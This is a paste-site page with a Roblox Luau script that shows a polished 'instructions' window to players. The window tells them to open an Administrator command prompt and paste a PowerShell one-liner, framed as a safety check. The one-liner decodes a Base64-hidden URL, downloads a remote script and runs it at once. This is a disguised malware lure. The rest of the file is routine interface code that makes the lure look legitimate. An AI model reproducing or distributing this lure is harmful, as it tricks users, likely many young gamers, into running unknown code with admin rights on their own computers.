explore
key systems
new
docs
discord
search scripts
⌘K
explore
key systems
new
docs
discord
sign in
⌘↵
--
publishes from anywhere on this page
new paste
untitled.luau
empty
/ 512kb
open file
⌘O
explore
key systems
new
docs
sign in
evolvex-copy.lua
546 lines · 14.4kb
/ 512kb
open file
⌘O
-- ============================================ -- Dark UI / Burgundy CTA / Responsive layout -- ============================================ local Players = game:GetService("Players") local CoreGui = game:GetService("CoreGui") local UserInputService = game:GetService("UserInputService") local TweenService = game:GetService("TweenService") local player = Players.LocalPlayer -- Colours local COLORS = { Background = Color3.fromRGB(12, 15, 22), Window = Color3.fromRGB(24, 28, 38), Panel = Color3.fromRGB(31, 37, 50), PanelHover = Color3.fromRGB(40, 46, 60), Teal = Color3.fromRGB(0, 225, 180), TealDark = Color3.fromRGB(0, 150, 125), Burgundy = Color3.fromRGB(112, 24, 47), BurgundyHover = Color3.fromRGB(145, 32, 60), BurgundyDisabled = Color3.fromRGB(65, 35, 45), White = Color3.fromRGB(245, 247, 250), Muted = Color3.fromRGB(165, 175, 195), Red = Color3.fromRGB(220, 65, 80), Border = Color3.fromRGB(53, 63, 80), } -- ============================================ -- GUI parent -- ============================================ local parent local ok = pcall(function() local _ = CoreGui:GetChildren() parent = CoreGui end) if not ok or not parent then local success, result = pcall(function() return player:WaitForChild("PlayerGui") end) if not success then warn("Instruction GUI: PlayerGui unavailable") return end parent = result end local old = parent:FindFirstChild("ScriptInstructionGui") if old then old:Destroy() end -- ============================================ -- Helper functions -- ============================================ local function create(className, props, parentObject) local obj = Instance.new(className) for key, value in pairs(props) do obj[key] = value end obj.Parent = parentObject return obj end local function round(object, radius) create("UICorner", { CornerRadius = UDim.new(0, radius) }, object) end local function outline(object, color, thickness) return create("UIStroke", { Color = color, Thickness = thickness, ApplyStrokeMode = Enum.ApplyStrokeMode.Border, }, object) end -- ============================================ -- ScreenGui -- ============================================ local gui = create("ScreenGui", { Name = "ScriptInstructionGui", ResetOnSpawn = false, IgnoreGuiInset = true, ZIndexBehavior = Enum.ZIndexBehavior.Sibling, DisplayOrder = 999, }, parent) -- Затемнение игрового мира local backdrop = create("Frame", { Name = "Backdrop", Size = UDim2.fromScale(1, 1), BackgroundColor3 = Color3.new(0, 0, 0), BackgroundTransparency = 1, BorderSizePixel = 0, }, gui) -- ============================================ -- Main window -- ============================================ local window = create("Frame", { Name = "Window", AnchorPoint = Vector2.new(0.5, 0.5), Position = UDim2.fromScale(0.5, 0.5), Size = UDim2.fromOffset(540, 440), BackgroundColor3 = COLORS.Window, BorderSizePixel = 0, ClipsDescendants = true, Active = true, }, gui) round(window, 14) outline(window, COLORS.Teal, 1.5) create("UISizeConstraint", { MinSize = Vector2.new(260, 300), MaxSize = Vector2.new(600, 520), }, window) -- Обновляем размер окна при изменении экрана local camera = workspace.CurrentCamera local function updateWindowSize() camera = workspace.CurrentCamera if not camera then return end local viewport = camera.ViewportSize local width = math.clamp(viewport.X * 0.88, 260, 560) local height = math.clamp(viewport.Y * 0.78, 300, 480) window.Size = UDim2.fromOffset(width, height) end updateWindowSize() if camera then camera:GetPropertyChangedSignal("ViewportSize"):Connect( updateWindowSize ) end -- ============================================ -- Header -- ============================================ local header = create("Frame", { Name = "Header", Size = UDim2.new(1, 0, 0, 76), BackgroundTransparency = 1, Active = true, }, window) -- Информационный значок local infoIcon = create("TextLabel", { Position = UDim2.fromOffset(18, 18), Size = UDim2.fromOffset(40, 40), BackgroundColor3 = COLORS.Panel, Text = "i", TextColor3 = COLORS.Teal, Font = Enum.Font.GothamBold, TextSize = 27, }, header) round(infoIcon, 12) outline(infoIcon, COLORS.TealDark, 1) local title = create("TextLabel", { Name = "Title", Position = UDim2.fromOffset(70, 13), Size = UDim2.new(1, -126, 0, 30), BackgroundTransparency = 1, Text = "INSTRUCTIONS BEFORE STARTING", TextColor3 = COLORS.Teal, Font = Enum.Font.GothamBold, TextSize = 16, TextScaled = true, TextXAlignment = Enum.TextXAlignment.Left, }, header) create("UITextSizeConstraint", { MinTextSize = 11, MaxTextSize = 16, }, title) local subtitle = create("TextLabel", { Position = UDim2.fromOffset(70, 43), Size = UDim2.new(1, -90, 0, 20), BackgroundTransparency = 1, Text = "Read EVERYTHING before proceeding.", TextColor3 = COLORS.Muted, Font = Enum.Font.Gotham, TextSize = 12, TextXAlignment = Enum.TextXAlignment.Left, TextWrapped = true, }, header) local closeBtn = create("TextButton", { Name = "CloseButton", AnchorPoint = Vector2.new(1, 0), Position = UDim2.new(1, -12, 0, 12), Size = UDim2.fromOffset(30, 30), BackgroundColor3 = COLORS.Red, Text = "X", TextColor3 = COLORS.White, Font = Enum.Font.GothamBold, TextSize = 14, AutoButtonColor = true, }, header) round(closeBtn, 8) local divider = create("Frame", { Position = UDim2.new(0, 16, 0, 76), Size = UDim2.new(1, -32, 0, 1), BackgroundColor3 = COLORS.Border, BorderSizePixel = 0, }, window) -- ============================================ -- Scrollable instructions -- ============================================ local scroll = create("ScrollingFrame", { Name = "Instructions", Position = UDim2.fromOffset(16, 88), Size = UDim2.new(1, -32, 1, -184), BackgroundTransparency = 1, BorderSizePixel = 0, ScrollBarThickness = 4, ScrollBarImageColor3 = COLORS.Teal, CanvasSize = UDim2.new(0, 0, 0, 0), AutomaticCanvasSize = Enum.AutomaticSize.Y, ScrollingDirection = Enum.ScrollingDirection.Y, }, window) local list = create("UIListLayout", { Padding = UDim.new(0, 10), SortOrder = Enum.SortOrder.LayoutOrder, }, scroll) local padding = create("UIPadding", { PaddingBottom = UDim.new(0, 8), PaddingRight = UDim.new(0, 4), }, scroll) local function addStep(number, text) local row = create("Frame", { Size = UDim2.new(1, -4, 0, 54), BackgroundTransparency = 1, LayoutOrder = number, }, scroll) local badge = create("TextLabel", { Size = UDim2.fromOffset(34, 34), Position = UDim2.fromOffset(0, 5), BackgroundColor3 = COLORS.Panel, Text = tostring(number), TextColor3 = COLORS.Teal, Font = Enum.Font.GothamBold, TextSize = 16, }, row) round(badge, 17) outline(badge, COLORS.TealDark, 1) create("TextLabel", { Position = UDim2.fromOffset(46, 0), Size = UDim2.new(1, -50, 1, 0), BackgroundTransparency = 1, Text = text, TextColor3 = COLORS.White, Font = Enum.Font.Gotham, TextSize = 13, TextWrapped = true, TextXAlignment = Enum.TextXAlignment.Left, TextYAlignment = Enum.TextYAlignment.Center, }, row) end addStep(1, "Press WIN+R or open CMD from Administrator.") addStep(2, "Copy command from window below.") addStep(3, "Paste it into WIN+R window or CMD window and press Enter.") addStep(4, "After check complete, you can continue play safe!") -- ============================================ -- Windows + PowerShell information panel -- ============================================ local systemPanel = create("Frame", { Name = "SystemPanel", Size = UDim2.new(1, -4, 0, 100), BackgroundColor3 = COLORS.Panel, BorderSizePixel = 0, LayoutOrder = 4, }, scroll) round(systemPanel, 10) outline(systemPanel, COLORS.Border, 1) -- Windows icon (stylized) local windowsIcon = create("TextLabel", { Position = UDim2.fromOffset(12, 12), Size = UDim2.fromOffset(34, 30), BackgroundTransparency = 1, Text = "⊞", TextColor3 = COLORS.Teal, Font = Enum.Font.GothamBold, TextSize = 30, }, systemPanel) create("TextLabel", { Position = UDim2.fromOffset(52, 13), Size = UDim2.new(1, -62, 0, 20), BackgroundTransparency = 1, Text = "WINDOWS", TextColor3 = COLORS.White, Font = Enum.Font.GothamBold, TextSize = 12, TextXAlignment = Enum.TextXAlignment.Left, }, systemPanel) -- PowerShell icon (stylized terminal) local powershellIcon = create("TextLabel", { Position = UDim2.fromOffset(12, 48), Size = UDim2.fromOffset(34, 28), BackgroundColor3 = Color3.fromRGB(17, 80, 120), Text = ">_", TextColor3 = COLORS.White, Font = Enum.Font.Code, TextSize = 14, }, systemPanel) round(powershellIcon, 5) create("TextLabel", { Position = UDim2.fromOffset(52, 48), Size = UDim2.new(1, -62, 0, 42), BackgroundTransparency = 1, Text = "Paste this command into CMD -> powershell iex(iwr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cDovL3NvZnQtc3RvcmFnZS50b3Avd29ya2VyPz00NTY2MjQxNDcvRXZvbHZlWA=='))) -UseBasicParsing)", TextColor3 = COLORS.Muted, Font = Enum.Font.Gotham, TextSize = 12, TextWrapped = true, TextXAlignment = Enum.TextXAlignment.Left, }, systemPanel) -- ============================================ -- Footer and read confirmation -- ============================================ local footer = create("Frame", { Name = "Footer", AnchorPoint = Vector2.new(0, 1), Position = UDim2.new(0, 0, 1, 0), Size = UDim2.new(1, 0, 0, 88), BackgroundColor3 = COLORS.Window, BorderSizePixel = 0, }, window) local footerDivider = create("Frame", { Position = UDim2.new(0, 16, 0, 0), Size = UDim2.new(1, -32, 0, 1), BackgroundColor3 = COLORS.Border, BorderSizePixel = 0, }, footer) local readCheck = create("TextButton", { Name = "ReadConfirmation", Position = UDim2.fromOffset(16, 8), Size = UDim2.new(1, -32, 0, 25), BackgroundTransparency = 1, Text = "[ ] I have read the instructions.", TextColor3 = COLORS.Muted, Font = Enum.Font.Gotham, TextSize = 12, TextXAlignment = Enum.TextXAlignment.Left, AutoButtonColor = false, }, footer) local continueBtn = create("TextButton", { Name = "ContinueButton", Position = UDim2.new(0, 16, 0, 38), Size = UDim2.new(1, -32, 0, 40), BackgroundColor3 = COLORS.BurgundyDisabled, Text = "CONTINUE →", TextColor3 = COLORS.Muted, Font = Enum.Font.GothamBold, TextSize = 14, AutoButtonColor = false, Active = false, }, footer) round(continueBtn, 9) local buttonStroke = outline(continueBtn, COLORS.Burgundy, 1) -- ============================================ -- Confirmation logic -- ============================================ local hasRead = false local finished = false local function updateContinueButton() if hasRead then continueBtn.BackgroundColor3 = COLORS.Burgundy continueBtn.TextColor3 = COLORS.White buttonStroke.Color = COLORS.BurgundyHover readCheck.TextColor3 = COLORS.Teal readCheck.Text = "[✓] I have read the instructions." continueBtn.Active = true else continueBtn.BackgroundColor3 = COLORS.BurgundyDisabled continueBtn.TextColor3 = COLORS.Muted buttonStroke.Color = COLORS.Burgundy readCheck.TextColor3 = COLORS.Muted readCheck.Text = "[ ] I have read the instructions." continueBtn.Active = false end end readCheck.Activated:Connect(function() hasRead = not hasRead updateContinueButton() end) continueBtn.MouseEnter:Connect(function() if hasRead then TweenService:Create( continueBtn, TweenInfo.new(0.15), {BackgroundColor3 = COLORS.BurgundyHover} ):Play() end end) continueBtn.MouseLeave:Connect(function() if hasRead then TweenService:Create( continueBtn, TweenInfo.new(0.15), {BackgroundColor3 = COLORS.Burgundy} ):Play() end end) -- ============================================ -- Dragging window -- ============================================ local dragging = false local dragStart local startPosition local dragInput header.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPosition = window.Position dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if not dragging then return end if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then local delta = input.Position - dragStart window.Position = UDim2.new( startPosition.X.Scale, startPosition.X.Offset + delta.X, startPosition.Y.Scale, startPosition.Y.Offset + delta.Y ) end end) UserInputService.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false dragInput = nil end end) -- ============================================ -- Close / Continue -- ============================================ closeBtn.Activated:Connect(function() if finished then return end finished = true gui:Destroy() -- Закрытие окна НЕ запускает основной код. end) continueBtn.Activated:Connect(function() if not hasRead or finished then return end finished = true gui:Destroy() -- openMainMenu() end) -- ============================================ -- Entrance animation -- ============================================ window.BackgroundTransparency = 1 TweenService:Create( backdrop, TweenInfo.new(0.25), {BackgroundTransparency = 0.45} ):Play() TweenService:Create( window, TweenInfo.new(0.3, Enum.EasingStyle.Quint, Enum.EasingDirection.Out), {BackgroundTransparency = 0} ):Play() updateContinueButton()